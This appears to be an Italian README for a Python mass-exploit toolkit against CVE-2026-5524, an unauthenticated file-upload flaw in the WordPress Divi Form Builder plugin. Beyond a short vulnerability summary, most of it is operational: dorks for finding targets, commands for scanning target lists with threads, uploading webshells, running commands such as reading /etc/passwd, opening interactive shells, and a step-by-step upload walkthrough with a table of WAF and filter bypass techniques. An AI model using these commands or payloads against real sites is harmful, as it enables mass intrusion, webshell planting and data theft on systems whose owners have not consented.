
Toolkit Python di mass-exploit per CVE-2026-5524, un RCE tramite upload di file non autenticato nel plugin WordPress Divi Form Builder, con upload di webshell ed esecuzione di comandi.
Toolkit di exploit di massa per CVE-2026-5524, una vulnerabilità di upload arbitrario di file non autenticato nel plugin WordPress Divi Form Builder <= 5.1.8 che porta all'esecuzione di codice in remoto.
| Campo | Valore |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Critico) |
| Vettore | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affetto | Divi Form Builder <= 5.1.8 |
| Corretto | 5.1.9 |
| Tipo | Upload di file non autenticato con RCE |
| Ricercatore | 0xd4rk5id3 - EnvoraSec |
Il plugin Divi Form Builder per WordPress contiene una vulnerabilità di upload arbitrario di file non autenticato. Il gestore do_image_upload() passa il parametro POST acceptFileTypes, controllato dall'utente, direttamente in un'espressione regolare utilizzata per validare le estensioni dei file. Fornendo un valore come phtml, un attaccante può aggirare la regola .htaccess del plugin che blocca solo l'estensione .php e caricare una webshell con un'estensione eseguibile da PHP (.phtml, .phar, .php5, .php7 e simili).
Una volta che il file si trova in /wp-content/uploads/de_fb_uploads/, Apache lo esegue come PHP, concedendo all'attaccante l'esecuzione di codice in remoto con i privilegi dell'utente del web server.
Il problema è risolto in Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Requisiti: Python 3.8 o superiore su Linux, macOS o WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Per target dietro un WAF (NinjaFirewall, Wordfence, ModSecurity) o con configurazioni Apache o nginx rafforzate.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
Dopo un upload riuscito, lo script può eseguire immediatamente un comando o aprire una shell interattiva.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Flag | Descrizione |
|---|---|
-u URL | URL del target singolo |
-l FILE | File contenente la lista dei target, un URL per riga |
-t N | Numero di thread concorrenti (predefinito 10) |
--timeout N | Timeout della richiesta in secondi (predefinito 15) |
-o FILE | Salva i risultati in un file di output JSONL |
--proxy URL | Instrada il traffico attraverso un proxy HTTP |
--nonce HASH | Usa un nonce fornito manualmente, salta il rilevamento automatico |
--ext EXT | Forza una singola estensione invece della lista completa di bypass |
--shell | Apre una shell RCE interattiva in caso di successo (solo target singolo) |
--cmd CMD | Esegue un comando sul target, poi esce |
--shell-file FILE | Carica un payload shell personalizzato invece di quello integrato |
--no-verify | Salta la fase di verifica RCE post-upload |
--strict-verify | Conferma che l'URL della shell restituisca HTTP 200 per filtrare i falsi positivi |
--user-ini | Carica un dropper .user.ini per ambienti PHP-FPM |
--htaccess | Carica un riabilitatore .htaccess per ambienti Apache |
--aggressive | Abilita ogni tecnica di bypass disponibile |
--null-byte | Include tentativi con null byte e doppia estensione |
--path-traversal | Prova a caricare nelle sottodirectory /uploads/YYYY/MM/ |
--debug | Stampa le risposte HTTP grezze per la diagnosi |
Il gestore vulnerabile costruisce un'espressione regolare dall'input dell'utente senza sanificazione.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
Inviando acceptFileTypes=phtml, l'espressione regolare risultante /\.(phtml)$/i corrisponde ai nomi di file che terminano con .phtml, anche se il file .htaccess del plugin blocca solo l'estensione .php. Apache esegue quindi il file caricato come PHP, producendo l'esecuzione di codice in remoto.
Scansiona una pagina che incorpora un form di Divi Form Builder (/, /contact, /quote, ecc.). Aggiungi un parametro ?nocache=<random> per aggirare Varnish, WP Rocket e altre cache di pagina che altrimenti servirebbero un nonce obsoleto.
Estrai il valore fb_nonce dall'oggetto JavaScript localizzato:
de_fb_obj = {"fb_nonce":"<10 caratteri hex>", ...}
Invia un POST multipart a /wp-admin/admin-ajax.php con:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Leggi l'URL del file dalla risposta JSON:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Richiedi la shell con un comando codificato in base64:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
| # | Tecnica | Target |
|---|---|---|
| 1 | Estensioni PHP alternative .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Regola .htaccess del plugin che blocca solo .php |
| 2 | Variazione di maiuscole/minuscole .PHTML, .PHP5, .PhTmL | Firme WAF sensibili al caso (NinjaFirewall) |
| 3 | Doppia estensione .phtml.jpg, .php.jpg | Particolarità di negoziazione del contenuto di Apache mod_mime |
| 4 | Null byte .php%00.jpg, .phtml%00.txt | Vecchie versioni di PHP (precedenti alla 5.3.4) e alcuni parser |
| 5 | Spazio o punto finale .php , .php. | Windows IIS e versioni più vecchie di Apache |
| 6 | Spoofing del Content-Type application/octet-stream | WAF che si basano sull'header Content-Type multipart |
| 7 | Carica un vero .htaccess che riabilita PHP per .gif, .png, .jpg, .txt, .html, ecc. | Server Apache con AllowOverride All |
| 8 | Carica un .user.ini con auto_prepend_file | Ambienti PHP-FPM |
| 9 | Iniezione del nome file tramite manipolazione del boundary multipart | Proxy e WAF che ri-analizzano il corpo della richiesta |
| 10 | Path traversal ../shell.phtml nel nome del file | Restrizioni della directory del plugin |